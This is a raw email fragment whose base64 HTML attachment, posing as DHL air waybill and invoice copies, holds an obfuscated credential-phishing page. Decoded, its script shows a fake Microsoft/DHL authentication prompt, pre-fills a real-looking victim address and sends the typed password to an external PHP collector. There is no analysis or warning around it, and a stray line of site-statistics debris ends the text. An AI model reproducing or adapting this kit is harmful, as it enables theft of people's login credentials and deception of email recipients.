RkRJViUzRSUzQyUyRnAlM0UlM0NwJTNFJTBBJTBBJTNDRElWJTNFJTNDSU5QVVQlMjAlMjBu

YW1lJTNEbG9naW4tYW1nJTIwcmVxdWlyZWQlM0QlMjJyZXF1aXJlZCUyMiUyMHZhbHVlJTNE

JTIyc2FsZXNAbmsuY2ElMjIlMjBwbGFjZWhvbGRlciUzRCUyMkVtYWlsJTIwYWRkcmVzcyUy

MiUyMHJlYWRvbmx5JTIwc3R5bGUlM0QlMjJ3aWR0aCUzQTMyMCUzQiUyMGhlaWdodCUzQTMw

JTNCJTIwYm9yZGVyLWNvbG9yJTNBJTIwJTIzY2IwNjFkJTIyJTNFJTNDJTJGRElWJTNFJTND

JTJGcCUzRSUwQSUzQ0RJViUzRSUzQ0lOUFVUJTIwdHlwZSUzRHBhc3N3b3JkJTIwbmFtZSUz

RHBhc3N3ZC1hbWclMjByZXF1aXJlZCUzRCUyMnJlcXVpcmVkJTIyJTIwYXV0b2ZvY3VzJTNE

JTIyYXV0b2ZvY3VzJTIyJTIwcGxhY2Vob2xkZXIlM0QlMjJQYXNzd29yZCUyMiUyMHN0eWxl

JTNEJTIyd2lkdGglM0EzMjAlM0IlMjBoZWlnaHQlM0EzMCUzQiUyMGJvcmRlci1jb2xvciUz

QSUyMCUyM2NiMDYxZCUyMiUzRSUzQyUyRkRJViUzRSUwQSUzQ0RJViUyMGlkJTNEc2lnbi1v

cHQlMjBjbGFzcyUzRHNpZ24tb3B0JTNFJTBBJTNDRElWJTIwaWQlM0Ruby1hY2MlM0UlM0Ml

MkZBJTNFJTNDJTJGRElWJTNFJTBBJTNDRElWJTIwY2xhc3MlM0RidXR0b24lM0UlM0NBJTIw

aHJlZiUzRCUyMiUyMyUyMiUzRSUzQ0JVVFRPTiUyMGlkJTNEaTk4Mzg5MyUyMGNsYXNzJTNE

bmV3YnV0dG9uJTIwdHlwZSUzRHN1Ym1pdCUyMG5hbWUlM0RzdWJtaXQlM0UlMEElM0NGT05U

JTIwY29sb3IlM0QlMjNjYjA2MWQlM0VWaWV3JTIwRG9jdW1lbnQlM0MlMkZGT05UJTNFJTND

JTJGQlVUVE9OJTNFJTNDJTJGQSUzRSUzQyUyRkRJViUzRSUwQSUzQ0RJViUyMGlkJTNEc2ln

bi1vdXQlMjBjbGFzcyUzRHNpZ24tb3B0JTNFJTNDQSUyMGhyZWYlM0QlMjIlMjMlMjIlM0Ul

M0MlMkZBJTNFJTNDJTJGRElWJTNFJTNDJTJGRElWJTNFJTNDJTJGRk9STSUzRSUzQyUyRkRJ

ViUzRSUzQyUyMS0tJTIweW91ciUyMGFjdHVhbCUyMGNlbnRlcmVkJTIwZWxlbWVudCUyMC0t

JTNFJTNDJTJGRElWJTNFJTNDJTJGQk9EWSUzRSUzQyUyRkhUTUwlM0UnICkpPC9zY3JpcHQ+





------=_NextPart_000_0012_9FE7F9F4.61A7836E

Content-Type: text/html; name="(AWB) Original CI Copies.HtMl"

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename="(AWB) Original CI Copies.HtMl"



PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+ZG9jdW1lbnQud3JpdGUoIHVuZXNjYXBl

KCAnJTNDc2NyaXB0JTIwbGFuZ3VhZ2UlM0QlMjJKYXZhU2NyaXB0JTIyJTNFJTBBYWxlcnQl

MjglMjJUaGlzJTIwREhMJTIwRG9jdW1lbnQlMjBNaWNyb3NvZnQlMjBTZWN1cml0eSUyMCUy

NiUyMFJlcXVpcmVzJTIwQXV0aGVudGljYXRpb24uJTIwQ2xpY2slMjBPayUyMFRvJTIwQ29u

dGludWUlMjIlMjklMEElM0MlMkZzY3JpcHQlM0UlMEElM0NIVE1MJTNFJTNDSEVBRCUzRSUz

Q21ldGElMjBodHRwLWVxdWl2JTNEJTIyQ29udGVudC1UeXBlJTIyJTIwY29udGVudCUzRCUy

MnRleHQlMkZodG1sJTNCJTIwY2hhcnNldCUzRGlzby04ODU5LTElMjIlM0UlMEElMEElM0NT

VFlMRSUyMHR5cGUlM0R0ZXh0JTJGY3NzJTNFJTBBYm9keSUyQyUyMGh0bWwlMjAlN0JoZWln

aHQlM0ElMjAxMDAlMjUlM0JtYXJnaW4lM0ElMjAwJTNCJTIwJTIwZm9udC1mYW1pbHklM0El

MjAlMjJTZWdvZSUyMFVJJTIwV2ViZm9udCUyMiUyQy1hcHBsZS1zeXN0ZW0lMkMlMjJIZWx2

ZXRpY2ElMjBOZXVlJTIyJTJDJTIyTHVjaWRhJTIwR3JhbmRlJTIyJTJDJTIyUm9ib3RvJTIy

JTJDJTIyRWJyaW1hJTIyJTJDJTIyTmlybWFsYSUyMFVJJTIyJTJDJTIyR2FkdWdpJTIyJTJD

JTIyU2Vnb2UlMjBYYm94JTIwU3ltYm9sJTIyJTJDJTIyU2Vnb2UlMjBVSSUyMFN5bWJvbCUy

MiUyQyUyMk1laXJ5byUyMFVJJTIyJTJDJTIyS2htZXIlMjBVSSUyMiUyQyUyMlR1bmdhJTIy

JTJDJTIyTGFvJTIwVUklMjIlMkMlMjJSYWF2aSUyMiUyQyUyMklza29vbGElMjBQb3RhJTIy

JTJDJTIyTGF0aGElMjIlMkMlMjJMZWVsYXdhZGVlJTIyJTJDJTIyTWljcm9zb2Z0JTIwWWFI

ZWklMjBVSSUyMiUyQyUyMk1pY3Jvc29mdCUyMEpoZW5nSGVpJTIwVUklMjIlMkMlMjJNYWxn

dW4lMjBHb3RoaWMlMjIlMkMlMjJFc3RyYW5nZWxvJTIwRWRlc3NhJTIyJTJDJTIyTWljcm9z

b2Z0JTIwSGltYWxheWElMjIlMkMlMjJNaWNyb2lsc29mdCUyME5ldyUyMFRhaSUyMEx1ZSUy

MiUyQyUyMk1pY3Jvc29mdCUyMFBoYWdzUGElMjIlMkMlMjJNaWNyb3NvZnQlMjBUYWklMjBM

ZSUyMiUyQyUyMk1pY3Jvc29mdCUyMFlpJTIwQmFpdGklMjIlMkMlMjJNb25nb2xpYW4lMjBC

YWl0aSUyMiUyQyUyMk1WJTIwQm9saSUyMiUyQyUyMk15YW5tYXIlMjBUZXh0JTIyJTJDJTIy

Q2FtYnJpYSUyME1hdGglMjIlM0IlN0QlMDklMEEud3JhcHBlciUyMCU3QiUyMCUyMGJhY2tn

cm91bmQtaW1hZ2UlM0ElMjB1cmwlMjhodHRwcyUzQSUyRiUyRnd3dy5heDQuY29tJTJGYXg0

JTJGcGl4JTJGbG9naW5QYWdlJTJGYnVzaW5lc3MlMkZiYWNrZ3JvdW5kcyUyRjIwMTI0MjEl

MkZiZy5qcGclMjklM0IlMjAlMjBiYWNrZ3JvdW5kLXJlcGVhdCUzQSUyMG5vLXJlcGVhdCUz

QiUyMGJhY2tncm91bmQtYXR0YWNobWVudCUzQSUyMGZpeGVkJTNCJTIwJTIwYmFja2dyb3Vu

ZC1wb3NpdGlvbiUzQSUyMGNlbnRlciUzQiUyMCUyMGJhY2tncm91bmQtc2l6ZSUzQSUyMGNv

dmVyJTNCJTIwJTIwcG9zaXRpb24lM0ElMjBmaXhlZCUzQiUyMCUyMHRvcCUzQSUyMDAlM0Il

MjAlMjBsZWZ0JTNBJTIwMCUzQiUyMCUyMGhlaWdodCUzQSUyMDEwMCUyNSUzQiUyMCUyMHdp

ZHRoJTNBJTIwMTAwJTI1JTNCJTIwJTIwJTIwZGlzcGxheSUzQSUyMGZsZXglM0IlMjAlMjBm

bGV4LWZsb3clM0ElMjBjb2x1bW4lMjBub3dyYXAlM0IlMjBqdXN0aWZ5LWNvbnRlbnQlM0El

MjBjZW50ZXIlM0IlMjAlMjBhbGlnbi1pdGVtcyUzQSUyMGNlbnRlciUzQiUyMCUyMGJveC1z

aXppbmclM0ElMjBib3JkZXItYm94JTNCJTdEJTBBLmVsZW1lbnQlMjAlN0IlMjAlMjB3aWR0

aCUzQSUyMDMyMHB4JTNCJTIwJTIwaGVpZ2h0JTNBJTIwMzAwcHglM0IlMjAlMjBwYWRkaW5n

JTNBJTIwNDBweCUyMDMwcHglM0IlMjAlMjBiYWNrZ3JvdW5kLWNvbG9yJTNBJTIwJTIzZmZm

ZmZmJTNCJTIwJTIwYm9yZGVyJTNBJTIwMXB4JTIwc29saWQlMjBncmV5JTNCJTIwJTIwYm9y

ZGVyLWNvbG9yJTNBJTIwJTIzZjlmOTAxJTNCJTdEJTBBLmVsZW1lbnRlJTdCJTA5d2lkdGgl

M0ElMjAzMDBweCUzQiUyMCUyMGhlaWdodCUzQSUyMDMwMHB4JTNCJTIwJTIwcGFkZGluZyUz

QSUyMDQwcHglMjAzMHB4JTNCJTIwJTIwYmFja2dyb3VuZC1jb2xvciUzQSUyMCUyM2ZmZmZm

ZiUzQiUyMCUyMGJvcmRlciUzQSUyMDFweCUyMHNvbGlkJTIwZ3JleSUzQiU3RCUwQWRpdiUy

MC5zaWduLW9wdCUyMCU3QiUwOXBhZGRpbmclM0ElMjAyMHB4JTIwMHB4JTNCJTA5Zm9udC1z

aXplJTNBJTIwMTRweCUzQiU3RCUwQS5uZXdidXR0b24lN0IlMDl3aWR0aCUzQSUyMDExMHB4

JTNCJTIwZmxvYXQlM0ElMjBsZWZ0JTNCJTIwYm9yZGVyLWNvbG9yJTNBJTIwJTIzZjlmOTAx

JTNCJTIwYmFja2dyb3VuZC1jb2xvciUzQSUyMCUyM2Y5ZjkwMSUzQiUyMGNvbG9yJTNBJTIw

JTIzZmZmJTNCJTIwZm9udC1zaXplJTNBJTIwMTRweCUzQiUyMHBhZGRpbmclM0ElMjA4cHgl

MjAwJTNCJTIwY3Vyc29yJTNBJTIwcG9pbnRlciUzQiUyMGJvcmRlciUzQSUyMG5vbmUlM0Il

N0QlMEElM0MlMkZTVFlMRSUzRSUwQSUzQ3RpdGxlJTNFTWljcm9zb2Z0JTIwRG9jdW1lbnQl

M0MlMkZ0aXRsZSUzRSUwQSUzQ2xpbmslMjByZWwlM0QlMjJzaG9ydGN1dCUyMGljb24lMjIl

MjBocmVmJTNEJTIyJTIwdHlwZSUzRCUyMmltYWdlJTJGdm5kLm1pY3Jvc29mdC5pY29uJTIy

JTNFJTBBJTNDJTJGSEVBRCUzRSUwQSUzQ0JPRFklM0UlMEElM0NESVYlMjBjbGFzcyUzRHdy

YXBwZXIlM0UlM0MlMjEtLSUyMEZpeGVkJTIwZWxlbWVudCUyMHRoYXQlMjBzcGFucyUyMHRo

ZSUyMHZpZXdwb3J0JTIwLS0lM0UlMEElM0NESVYlMjBpZCUzRGVsZW1lbnQlMjBjbGFzcyUz

RGVsZW1lbnQlM0UlMEElM0NGT1JNJTIwbWV0aG9kJTNEcG9zdCUyMGFjdGlvbiUzRCUyMmh0

dHBzOi8vZGV2LWJsYWNheGVidi5wYW50aGVvbnNpdGUuaW8vZmQvZGhsLnBocCUyMiUyMGF1

dG9jb21wbGV0ZSUzRCUyMiUyMiUzRSUzQ3AlM0UlMEElM0NESVYlMjBpZCUzRGxvZ28lM0Ul

M0NJTUclMjBib3JkZXIlM0QwJTIwYWx0JTNEJTIyJTIyJTIwc3JjJTNEJTIyJTIwJTIwZGF0

YSUzQWltYWdlJTJGcG5nJTNCYmFzZTY0JTJDaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQU5J

QUFBQTJDQVlBQUFDeVRNZldBQUFJdEVsRVFWUjRYdTFjV1d5VVZSUSUyQnMzV2JwUzJsdFlT

dHRRVmM0Z0slMkJpQVpOVEVnTSUyQkdRaWlvcHNnaEdNQVdMQUIzaFJOR0JBakFvYUEzRkRF

ZUlTbyUyRkJBZkJGaWlFWkZUWlN3bEVKSktVb0xaV1k2bmFVejR6MVRSOXFaJTJGODdTZSUy

RjdwJTJGZUhjRnhMNiUyRjNmTyUyRmM3NSUyRm51JTJCY3hkYjhtZElBamRHZ0JGUVFzREdS

RkxDajE5bUJGSUlNSkU0RUJnQkFnU1lTQVFnY2hlTUFCT0pZNEFSSUVDQWlVUUFJbmZCQ0RD

Uk9BWVlBUUlFbUVnRUlISVhqQUFUaVdPQUVTQkFnSWxFQUNKM3dRZ3drVGdHR0FFQ0JMUWxV

aUpnZzFNTHZSRHJjaEFNMDV3dUtxWU1RTVhVT05UTmk2VCUyQlZXMW5WM2tnJTJCS05MdFJ1

b3ZIa0FtbmNHd0dZMzdpcU8yRDdoZzRHTGtnZUtzS0IlMkJVVDgwUEJQT2VxUHo1U3JvUFZC

ZVJFJTJGeVJ4MjFDV2pkN1FmbkdIMTNzMmxMcEk1MWJnZ2NLaU54UkNrNmNVJTJCUFFlT3El

MkZoRVRxbWRQT1Z4NHMwclpWTHRIQk4wbmZuQTF5SVB1N0JwQjJDTUVoTDFORVBiZGJNTDJm

bHNHbmElMkI0bGNlUzZzQ1doS2EzZ3VDJTJCYTRDbVA1TjYwWkpJUFh0RlVMMmhIbFFtWVNi

dEZvTjR3dm9RZU8lMkJQRmZYVCUyRlg4NTRQUnlMMERjVnRSN1JnOVAyaG9BN3ozeW9PdlpK

N0RkcG82dGJKWUl0OXZoOUdJZkpDUHFZOEh4MVM4Vk05N1QyVE9lTWxERUhXaEhwUEFKQjdR

dDlCRVBzM1RkSVptYXR3Y0xucGxTYWRiaklzM3FWayUyQnp4andTaG5GciUyQnFXRDdSZll0

aSUyRjFRbkpBTWNqRkxJRXpVZFh0dzlQWmhJaDNKRkhrREUwNlhqVWpscHFOWkNscTZieWEl

MkY1ZTBJcElWZEZGJTJCU0FFd3pXdmFFU3prVWFEU1JhalhtbmNGd0M3SjJERElUODMzUWV5

Q2VwQTNMT3VIJTJCaVhaczhUNVRWVnclMkJldnJSeGNOZGJCV1JMS2FMc3JGbEpZUCUyRlhs

bkphb1UxbGFlaE5ZOWZpZ2JsNUNhZEc2REclMkZ6ZnFXdk8xQ3p4dHBnbE1pWTElMkZ5RVhu

RnZuS2VqamtmY2hpJTJCZ2lMWWxFRlZSNW5WU2lCJTJCcVhpTnglMkJtVHkzRDU4VUtleGlH

bDAwNGFVZ1ZNJTJCVzY3TGViNFQ0ZjFWZCUyRktkMGtTQ3NzM3A0SVNQYVpZZTJwN3lRQ0tx

bnAxYlNSZG9SeWVxNnlJaWJ1WWdVN3dOb2U1SW16YXFaRzRIeG9zQWhhNUZ6SXNnWEVJaCUy

RmlTNUtpcm9HRmtyQ3g1d2tueWdyNlNMdGlOUzd2d3lpNTJtJTJCWnFyZVJKM21QJTJCeFMx

aExqMSUyRmRCemR5b29Ua2RhMFZwJTJGN0I2bWxVMklRNHRIJTJGdkJYbUU4NmtUa1AlMkZI

ZnJxNkxibGdSZ3JFTFJJY1o3Y0syU3VqWkp6R2dTR2RZWWIxSU5pU3RORktSdUp2Mk9NVmk0

dFF2cjRETFFMTmMlMkJyd2N1cmFxbDU5eDhMNEhvbERlSkY4SURoOTNRT0FIZGNKNlpzWmc4

dXZaeFpQclhSZHBOeU1WeW9qUVVmWDB3ZFdZTUF6d3RBMTl2enJoekVxaFhSUmFuU2hETnhx

VW9TbDFrWUo1UmIzcUhDdDAwYWQlMkJjSGhaRiUyQlVDempJekVxWiUyRm5SdlZCWFBOSEtF

cE5oaHJDa3pyamolMkZzVXhMTnJzWTR0SDRreXRBWmdVZXBpNHBpZ3NyRGppVGMlMkJGNEFL

bThaUHV1eExzb0cxUkpFd21KRSUyQjBxUFVvRGowTzN1SkV6NzZrcFdrS2RoT2JQQ0EzMUgx

YmJPTkcwUGdIdEc5czRDS2wya3dvdGkzMjE4UGdSMTg4M1ZSYmlBUFdXdjN2dm9Dc0ZOZXlM

aExJRWtDcDlVVCUyQnRrUVk1QVVaVGZaWlc2UzE4SVhiU0ZSaGNWNGxTS1o3eXpvakRwTlZG

ZXpHaWt1a2owUFhGekVIejNGYmVsaW1KODFIMW9UNlRPaldJWDhYNzExZkpjNVdpSzhudlZu

VEZvZmlkYmtGdFJGMkY2MmlKMld6c3lNbW5xOWFLNmVVSkxycFp2YWFJT2RqUDcwNXBJVkxx

b29uVkFsSWtEVWh6Ym4lMkZWQTZMZVJwM1N5bE5HcXVxamwlMkZRQlVUREZYRjFXSW94Nm92

MnpxaVlhWiUyRkNpNGIyMkpSS21MV3NWYWkxRXBPbzFTVEt6TTQ5ZTI3NWVSZWRVbmRuc2Ju

VWNLJTJGZTZFNEU4ajY3TmdEeEklMkZXSGxUSEx5enNsTXQ5SWYlMkYlMkI1RiUyRmJETE5y

SDBvbXRNbnhNTXl2VHN0aVVTcGkyU2xhTk9SNVIlMkI0cmhESUl0SSUyRk95dEFjWk45MFFE

YVBVbW9lJTJCeHFkWWhLRjZFaHJuRnhxSlhzTUNqYTBJd1g4TXR0TkJPbEZrTEY3Z2lLVnZk

b1JGcGx4UDREWXBaQUhhYmFNbjJRN2k5NjFnNjlCOVVYZFZYdHklMkZkJTJCJTJCY1FFVkQ5

NGRTZEp6MmZsb3NwclRpVFhHNXlQeWlMU256TnI4OWxNJTJGdmRKbTRMJTJGSDRhajBrWGtS

bVowaUxxcldSeVZ5Rnd2U3MybXo0a3E0d24xbEM3Zm9UYUt4ZVAwc0dRVlRUeDZRWFclMkJ5

RXlmdEh3Z2R0dFBHOVIxbE51V2pHeSUyQjljamxyUDgybkpITUhIQm0zMlZpcDBHTnlKZXhV

ZWtpcyUyQjNING9KTWQxRTVzVXFjYVVLaXlockY0bkc2YnhsaCUyRjk1ZUNkMjdhZmJSbWVt

VHh0Vml2VXZjbTRFTmNla1dKNnpOYkVZbmRyWFJTSlM2eUV3UWtVVE5PMFJWeSUyQkN5RTB5

ek9sNVVQNU9UYiUyQkVZeDljdUZvOURpb3ZIMkklMkJNc0JSTEFtYjZJZDIzOTE2eDNyVWxl

NzJyRkw4OTlEZXlpSVFPTWllekhENDB6TW1ITHZoUjZpS3pRTVQxbFVtYiUyQnd4SkZCTzcx

JTJGSFdJNG96T2JrV2puRnNxR012N3FwVUhtWXV3bmE4SUhhb0UyeDRWVFl5UndmT2VyRXJR

bHowa2s2dk1SdWcwSXY1YkRZNiUyRlR4cUdtbG9zRmhCRiUyQkdDNjJTeDBwJTJCcGlkS2c0

OEUyaXQwWE91Z2lITk94MmRVa0g0VjhRYW55OTlTOUVYY01ic2VpJTJCcmdVWWs5Qkdna0Zy

Tm5OSWRLanRERFVYUmZoVnh2dktNRHFtYXhkUzdvb1BjWlQ0dUJocEUyOUdtaFdMRFVzRiUy

RmRHTEw1NkFya1VjWnNlaTlGZXlsSFZTTHJySXR3cGpzSXkxMkx1dGFTTGhnWTlsdTg3MXFy

clBUT0k1TVo3SThSTlRUcTFrcVoybVRtNWpyb0lkVkRObkNnVXN2SiUyQnJlbWl6TUM4Y3RD

Vk9vUVk5JTJCdHhlaG50YzFRUFhvRHByQnM4SDBXVlVoZER5b0pTT3l3Mm1OWHc2NTZlRmpH

bDZ4TGlzSmltc2glMkZPNkhkd0xRaUxIbmhvRFclMkZ5ZEU4ZnZJSzQwRWJseEh5NkNCZDQy

eGJSM1BXWHI1QmhOSGJjNm9TcFUlMkJnUHB6aUNiNGRZdDIzVTlOUGtiUUh3M0Qyb2klMkZC

RzE4c0hTcjlZYkxRc01hcXBYYUVCeTg4eEFyb2p3RVRTM1VOc255VVFZQ0pad2sxc3BPNElN

SkYwOXhEYlp3a0VtRWlXY0JNYnFUc0NUQ1RkUGNUMldRSUJKcElsM01SRzZvNEFFMGwzRDdG

OWxrQ0FpV1FKTjdHUnVpUEFSTkxkUTJ5ZkpSQmdJbG5DVFd5azdnZ3drWFQzRU50bkNRU1lT

Slp3RXh1cE93Sk1KTjA5eFBaWkFnRW1raVhjeEVicWpzQyUyRjFaWHlBSHJFZEFJQUFBQUFT

VVZPUks1Q1lJSSUzRCUyMiUyMGNvbG9yJTNEJTIyJTIzY2IwNjFkJTIyJTIwYWxpZ24lM0Ql

MjJ0b3AlMjIlMjB3aWR0aCUzRCUyMjUwJTIyJTIwaGVpZ2h0JTNEJTIyMzAlMjIlMkYlM0Ul

MjAlM0NiJTNFREhMX19UUkFDS0lORyUyME5PJTNBJTJBJTJBJTJBJTJBJTJBNDU2JTNDJTJG

YiUzRSUzQyUyRkRJViUzRSUzQyUyRnAlM0UlM0NwJTNFJTBBJTNDRElWJTIwaWQlM0Rjb250

JTIwc3R5bGUlM0QlMjJURVhULUFMSUdOJTNBJTIwbGVmdCUzQiUyMFBBRERJTkctVE9QJTNB

JTIwMTBweCUzQiUyMGZvbnQtc2l6ZSUzQTE1cHglM0IlMjBjb2xvciUzQSUyM2NiMDYxZCUz

QiUyMiUyMCUzRUVudGVyJTIwQ29ycmVjdCUyMFBhc3N3b3JkJTIwVG8lMjBEb3dubG9hZCUy

MEZpbGUlM0MlMkZESVYlM0UlM0MlMkZwJTNFJTNDcCUzRSUwQSUwQSUzQ0RJViUzRSUzQ0lO

UFVUJTIwJTIwbmFtZSUzRGxvZ2luLWFtZyUyMHJlcXVpcmVkJTNEJTIycmVxdWlyZWQlMjIl

MjB2YWx1ZSUzRCUyMnNhbGVzQG5rLmNhJTIyJTIwcGxhY2Vob2xkZXIlM0QlMjJFbWFpbCUy

MGFkZHJlc3MlMjIlMjByZWFkb25seSUyMHN0eWxlJTNEJTIyd2lkdGglM0EzMjAlM0IlMjBo

ZWlnaHQlM0EzMCUzQiUyMGJvcmRlci1jb2xvciUzQSUyMCUyM2NiMDYxZCUyMiUzRSUzQyUy

RkRJViUzRSUzQyUyRnAlM0UlMEElM0NESVYlM0UlM0NJTlBVVCUyMHR5cGUlM0RwYXNzd29y

ZCUyMG5hbWUlM0RwYXNzd2QtYW1nJTIwcmVxdWlyZWQlM0QlMjJyZXF1aXJlZCUyMiUyMGF1

dG9mb2N1cyUzRCUyMmF1dG9mb2N1cyUyMiUyMHBsYWNlaG9sZGVyJTNEJTIyUGFzc3dvcmQl

MjIlMjBzdHlsZSUzRCUyMndpZHRoJTNBMzIwJTNCJTIwaGVpZ2h0JTNBMzAlM0IlMjBib3Jk

ZXItY29sb3IlM0ElMjAlMjNjYjA2MWQlMjIlM0UlM0MlMkZESVYlM0UlMEElM0NESVYlMjBp

ZCUzRHNpZ24tb3B0JTIwY2xhc3MlM0RzaWduLW9wdCUzRSUwQSUzQ0RJViUyMGlkJTNEbm8t

YWNjJTNFJTNDJTJGQSUzRSUzQyUyRkRJViUzRSUwQSUzQ0RJViUyMGNsYXNzJTNEYnV0dG9u

JTNFJTNDQSUyMGhyZWYlM0QlMjIlMjMlMjIlM0UlM0NCVVRUT04lMjBpZCUzRGk5ODM4OTMl

MjBjbGFzcyUzRG5ld2J1dHRvbiUyMHR5cGUlM0RzdWJtaXQlMjBuYW1lJTNEc3VibWl0JTNF

JTBBJTNDRk9OVCUyMGNvbG9yJTNEJTIzY2IwNjFkJTNFVmlldyUyMERvY3VtZW50JTNDJTJG

Rk9OVCUzRSUzQyUyRkJVVFRPTiUzRSUzQyUyRkElM0UlM0MlMkZESVYlM0UlMEElM0NESVYl

MjBpZCUzRHNpZ24tb3V0JTIwY2xhc3MlM0RzaWduLW9wdCUzRSUzQ0ElMjBocmVmJTNEJTIy

JTIzJTIyJTNFJTNDJTJGQSUzRSUzQyUyRkRJViUzRSUzQyUyRkRJViUzRSUzQyUyRkZPUk0l

M0UlM0MlMkZESVYlM0UlM0MlMjEtLSUyMHlvdXIlMjBhY3R1YWwlMjBjZW50ZXJlZCUyMGVs

ZW1lbnQlMjAtLSUzRSUzQyUyRkRJViUzRSUzQyUyRkJPRFklM0UlM0MlMkZIVE1MJTNFJyAp

KTwvc2NyaXB0Pg==



------=_NextPart_000_0012_9FE7F9F4.61A7836E--

I1.02KL0LD35.4KI2.16KwhoissourceRank32.2MPIN0Summary reportDiagnosisDensity00n/a